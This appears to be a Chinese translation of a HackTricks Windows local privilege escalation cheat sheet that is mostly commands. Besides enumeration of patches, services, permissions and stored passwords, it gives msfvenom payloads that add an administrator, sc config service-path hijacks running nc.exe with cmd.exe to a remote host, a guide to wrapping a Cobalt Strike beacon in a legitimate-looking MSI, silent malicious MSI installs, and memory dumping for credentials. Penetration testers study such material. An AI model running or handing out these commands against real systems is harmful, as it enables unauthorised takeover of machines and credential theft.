Windows Local Privilege Escalation

支持 HackTricks

查找 Windows 本地权限提升向量的最佳工具: WinPEAS

初始 Windows 理论

访问令牌

如果你不知道什么是 Windows 访问令牌,请在继续之前阅读以下页面:

Access Tokens

ACLs - DACLs/SACLs/ACEs

查看以下页面以获取有关 ACLs - DACLs/SACLs/ACEs 的更多信息:

ACLs - DACLs/SACLs/ACEs

完整性级别

如果你不知道 Windows 中的完整性级别,你应该在继续之前阅读以下页面:

Integrity Levels

Windows 安全控制

Windows 中有不同的内容可能会 阻止你枚举系统、运行可执行文件或甚至 检测你的活动。你应该 阅读 以下 页面枚举 所有这些 防御 机制,然后再开始权限提升枚举:

Windows Security Controls

系统信息

版本信息枚举

检查 Windows 版本是否存在已知漏洞(同时检查已应用的补丁)。

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

版本漏洞

这个 网站 对于搜索有关 Microsoft 安全漏洞的详细信息非常有用。这个数据库包含超过 4,700 个安全漏洞,显示了 Windows 环境所呈现的 巨大的攻击面

在系统上

  • post/windows/gather/enum_patches

  • post/multi/recon/local_exploit_suggester

  • winpeas (Winpeas 已嵌入 watson)

使用系统信息本地化

漏洞的 Github 仓库:

环境

环境变量中保存了任何凭据/敏感信息吗?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell 历史

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell 转录文件

您可以在 https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/ 学习如何启用此功能。

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell 模块日志记录

PowerShell 管道执行的详细信息被记录,包括执行的命令、命令调用和脚本的部分内容。然而,完整的执行细节和输出结果可能不会被捕获。

要启用此功能,请按照文档中“转录文件”部分的说明操作,选择 "模块日志记录" 而不是 "Powershell 转录"

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

要查看PowersShell日志中的最后15个事件,可以执行:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell 脚本块日志记录

脚本执行的完整活动和全部内容记录被捕获,确保每个代码块在运行时都被记录。此过程保留了每个活动的全面审计跟踪,对于取证和分析恶意行为非常有价值。通过在执行时记录所有活动,提供了对该过程的详细洞察。

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

日志事件可以在 Windows 事件查看器中找到,路径为:应用程序和服务日志 > Microsoft > Windows > PowerShell > 操作。 要查看最后 20 个事件,可以使用:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

互联网设置

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

驱动器

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

如果更新不是通过 httpS 而是通过 http 请求的,您可以危害系统。

您可以通过运行以下命令检查网络是否使用非 SSL 的 WSUS 更新:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

如果你收到这样的回复:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

如果 HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer 等于 1

那么,它是可利用的。 如果最后一个注册表等于 0,则 WSUS 条目将被忽略。

为了利用这些漏洞,您可以使用工具如:WsuxploitpyWSUS - 这些是 MiTM 武器化的利用脚本,用于将“假”更新注入非 SSL WSUS 流量中。

在这里阅读研究:

WSUS CVE-2020-1013

在这里阅读完整报告。 基本上,这是这个漏洞利用的缺陷:

如果我们有权修改本地用户代理,并且 Windows 更新使用 Internet Explorer 设置中配置的代理,那么我们就有权在本地运行 PyWSUS 来拦截我们自己的流量,并以提升的用户身份在我们的资产上运行代码。

此外,由于 WSUS 服务使用当前用户的设置,它还将使用其证书存储。如果我们为 WSUS 主机名生成自签名证书并将此证书添加到当前用户的证书存储中,我们将能够拦截 HTTP 和 HTTPS WSUS 流量。WSUS 不使用 HSTS 类似机制在证书上实现首次使用信任类型的验证。如果所呈现的证书被用户信任并具有正确的主机名,服务将接受它。

您可以使用工具 WSUSpicious 利用此漏洞(解放后)。

KrbRelayUp

在特定条件下,Windows 环境中存在 本地权限提升 漏洞。这些条件包括 未强制执行 LDAP 签名 的环境,用户拥有自我权限,允许他们配置 基于资源的受限委派 (RBCD),以及用户在域内创建计算机的能力。重要的是要注意,这些 要求默认设置 下满足。

https://github.com/Dec0ne/KrbRelayUp 中找到 利用

有关攻击流程的更多信息,请查看 https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

如果 这两个注册表 启用(值为 0x1),那么任何权限的用户都可以 安装(执行) *.msi 文件作为 NT AUTHORITY\SYSTEM

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit 载荷

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

如果您有一个 meterpreter 会话,您可以使用模块 exploit/windows/local/always_install_elevated 自动化此技术。

PowerUP

使用 power-up 中的 Write-UserAddMSI 命令在当前目录中创建一个 Windows MSI 二进制文件以提升权限。此脚本写出一个预编译的 MSI 安装程序,该程序提示添加用户/组(因此您需要 GIU 访问权限):

Write-UserAddMSI

只需执行创建的二进制文件以提升权限。

MSI Wrapper

阅读本教程以了解如何使用这些工具创建 MSI 包装器。请注意,如果您想要执行 命令行,可以包装一个 ".bat" 文件。

MSI Wrapper

使用 WIX 创建 MSI

Create MSI with WIX

使用 Visual Studio 创建 MSI

  • 使用 Cobalt Strike 或 Metasploit 生成一个 新的 Windows EXE TCP 负载C:\privesc\beacon.exe

  • 打开 Visual Studio,选择 创建新项目,在搜索框中输入 "installer"。选择 Setup Wizard 项目并点击 下一步

  • 给项目命名,例如 AlwaysPrivesc,使用 C:\privesc 作为位置,选择 将解决方案和项目放在同一目录,然后点击 创建

  • 一直点击 下一步,直到到达第 3 步(选择要包含的文件)。点击 添加 并选择您刚生成的 Beacon 负载。然后点击 完成

  • 解决方案资源管理器 中高亮 AlwaysPrivesc 项目,在 属性 中,将 TargetPlatformx86 更改为 x64

  • 您可以更改其他属性,例如 作者制造商,这可以使安装的应用看起来更合法。

  • 右键单击项目,选择 查看 > 自定义操作

  • 右键单击 安装,选择 添加自定义操作

  • 双击 应用程序文件夹,选择您的 beacon.exe 文件并点击 确定。这将确保在安装程序运行时立即执行 beacon 负载。

  • 自定义操作属性 下,将 Run64Bit 更改为 True

  • 最后,构建它

  • 如果显示警告 File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86',请确保将平台设置为 x64。

MSI 安装

要在 后台 执行恶意 .msi 文件的 安装

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

要利用此漏洞,您可以使用: exploit/windows/local/always_install_elevated

防病毒软件和检测器

审计设置

这些设置决定了什么被记录,因此您应该注意。

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows事件转发,了解日志发送到哪里是很有趣的

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS 旨在 管理本地管理员密码,确保每个密码都是 唯一的、随机生成的,并定期更新 在加入域的计算机上。这些密码安全地存储在 Active Directory 中,只有通过 ACL 授予足够权限的用户才能访问,从而允许他们在获得授权的情况下查看本地管理员密码。

LAPS

WDigest

如果启用,明文密码存储在 LSASS(本地安全授权子系统服务)中。 关于 WDigest 的更多信息请查看此页面.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA 保护

Windows 8.1 开始,微软引入了增强的本地安全机构 (LSA) 保护,以 阻止 不受信任的进程 读取其内存 或注入代码,从而进一步保护系统。 关于 LSA 保护的更多信息

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard 是在 Windows 10 中引入的。它的目的是保护存储在设备上的凭据,防止像 pass-the-hash 攻击这样的威胁。| 关于 Credentials Guard 的更多信息在这里。

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

缓存凭据

域凭据本地安全机构(LSA)进行认证,并被操作系统组件使用。当用户的登录数据通过注册的安全包进行认证时,通常会为该用户建立域凭据。 关于缓存凭据的更多信息在这里

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

用户与组

枚举用户与组

您应该检查您所属的任何组是否具有有趣的权限

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

特权组

如果你属于某个特权组,你可能能够提升权限。在这里了解特权组以及如何滥用它们以提升权限:

Privileged Groups

令牌操作

了解更多关于令牌的信息,请访问此页面:Windows Tokens。 查看以下页面以了解有趣的令牌及其滥用方法:

Abusing Tokens

登录用户 / 会话

qwinsta
klist sessions

家庭文件夹

dir C:\Users
Get-ChildItem C:\Users

密码策略

net accounts

获取剪贴板的内容

powershell -command "Get-Clipboard"

运行进程

文件和文件夹权限

首先,列出进程 检查进程命令行中的密码。 检查您是否可以 覆盖某个正在运行的二进制文件,或者您是否对二进制文件夹具有写入权限,以利用可能的 DLL 劫持攻击:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

始终检查可能正在运行的 electron/cef/chromium 调试器,您可以利用它来提升权限

检查进程二进制文件的权限

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

检查进程二进制文件文件夹的权限 (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

内存密码挖掘

您可以使用来自 sysinternals 的 procdump 创建正在运行的进程的内存转储。像 FTP 这样的服务在内存中 以明文形式存储凭据,尝试转储内存并读取凭据。

procdump.exe -accepteula -ma <proc_name_tasklist>

不安全的 GUI 应用程序

以 SYSTEM 身份运行的应用程序可能允许用户生成 CMD 或浏览目录。

示例:“Windows 帮助和支持”(Windows + F1),搜索“命令提示符”,点击“点击打开命令提示符”

服务

获取服务列表:

net start
wmic service list brief
sc query
Get-Service

权限

您可以使用 sc 获取服务的信息

sc qc <service_name>

建议使用来自 Sysinternals 的二进制文件 accesschk 来检查每个服务所需的权限级别。

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

建议检查“经过身份验证的用户”是否可以修改任何服务:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

您可以在此处下载适用于XP的accesschk.exe

启用服务

如果您遇到此错误(例如与SSDPSRV):

系统错误 1058 已发生。 该服务无法启动,可能是因为它被禁用或没有与之关联的启用设备。

您可以使用以下方法启用它:

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

请注意,服务 upnphost 依赖于 SSDPSRV 才能工作(适用于 XP SP1)

此问题的另一种解决方法是运行:

sc.exe config usosvc start= auto

修改服务二进制路径

在“经过身份验证的用户”组拥有 SERVICE_ALL_ACCESS 权限的服务场景中,可以修改服务的可执行二进制文件。要修改并执行 sc

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

重启服务

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

权限可以通过各种权限提升:

  • SERVICE_CHANGE_CONFIG: 允许重新配置服务二进制文件。

  • WRITE_DAC: 启用权限重新配置,从而能够更改服务配置。

  • WRITE_OWNER: 允许获取所有权和权限重新配置。

  • GENERIC_WRITE: 继承更改服务配置的能力。

  • GENERIC_ALL: 也继承更改服务配置的能力。

为了检测和利用此漏洞,可以使用 exploit/windows/local/service_permissions

服务二进制文件的弱权限

检查您是否可以修改由服务执行的二进制文件,或者您是否对二进制文件所在的文件夹具有写权限DLL Hijacking 您可以使用 wmic(不在 system32 中)获取由服务执行的每个二进制文件,并使用 icacls 检查您的权限:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

您还可以使用 scicacls

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

服务注册表修改权限

您应该检查是否可以修改任何服务注册表。 您可以通过以下方式检查您对服务注册表权限

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

应该检查Authenticated UsersNT AUTHORITY\INTERACTIVE是否拥有FullControl权限。如果是这样,服务执行的二进制文件可以被更改。

要更改执行的二进制文件的路径:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

服务注册表 AppendData/AddSubdirectory 权限

如果您对注册表具有此权限,这意味着您可以从此注册表创建子注册表。在 Windows 服务的情况下,这足以执行任意代码:

AppendData/AddSubdirectory permission over service registry

未加引号的服务路径

如果可执行文件的路径没有加引号,Windows 将尝试执行每个在空格之前的结尾。

例如,对于路径 C:\Program Files\Some Folder\Service.exe,Windows 将尝试执行:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

列出所有未加引号的服务路径,排除属于内置Windows服务的路径:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

您可以检测并利用 此漏洞使用 metasploit: exploit/windows/local/trusted\_service\_path 您可以手动创建一个服务二进制文件使用 metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

恢复操作

Windows 允许用户指定在服务失败时采取的操作。此功能可以配置为指向一个二进制文件。如果这个二进制文件是可替换的,可能会实现权限提升。更多细节可以在 官方文档 中找到。

应用程序

已安装的应用程序

检查 二进制文件的权限(也许你可以覆盖一个并提升权限)和 文件夹的权限 (DLL Hijacking)。

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

写权限

检查您是否可以修改某些配置文件以读取某些特殊文件,或者您是否可以修改将由管理员帐户(schedtasks)执行的某些二进制文件。

查找系统中弱文件夹/文件权限的一种方法是:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

启动时运行

检查您是否可以覆盖某些注册表或将由不同用户执行的二进制文件。 阅读以下页面以了解有关有趣的自动运行位置以提升权限的更多信息:

Privilege Escalation with Autoruns

驱动程序

寻找可能的第三方奇怪/易受攻击驱动程序

driverquery
driverquery.exe /fo table
driverquery /SI

PATH DLL 劫持

如果您在 PATH 中的某个文件夹内具有 写入权限,您可能能够劫持由进程加载的 DLL 并 提升权限

检查 PATH 中所有文件夹的权限:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

有关如何滥用此检查的更多信息:

Writable Sys Path +Dll Hijacking Privesc

网络

共享

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

检查 hosts 文件中硬编码的其他已知计算机

type C:\Windows\System32\drivers\etc\hosts

网络接口与DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

开放端口

检查外部的 受限服务

netstat -ano #Opened ports?

路由表

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP 表

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

防火墙规则

查看此页面以获取与防火墙相关的命令 (列出规则,创建规则,关闭,关闭...)

更多网络枚举命令在这里

Windows 子系统 for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Binary bash.exe 也可以在 C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe 中找到。

如果你获得了 root 用户权限,你可以在任何端口上监听(第一次使用 nc.exe 在端口上监听时,它会通过 GUI 询问是否允许 nc 通过防火墙)。

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

要轻松以 root 身份启动 bash,您可以尝试 --default-user root

您可以在文件夹 C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ 中浏览 WSL 文件系统。

Windows 凭据

Winlogon 凭据

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword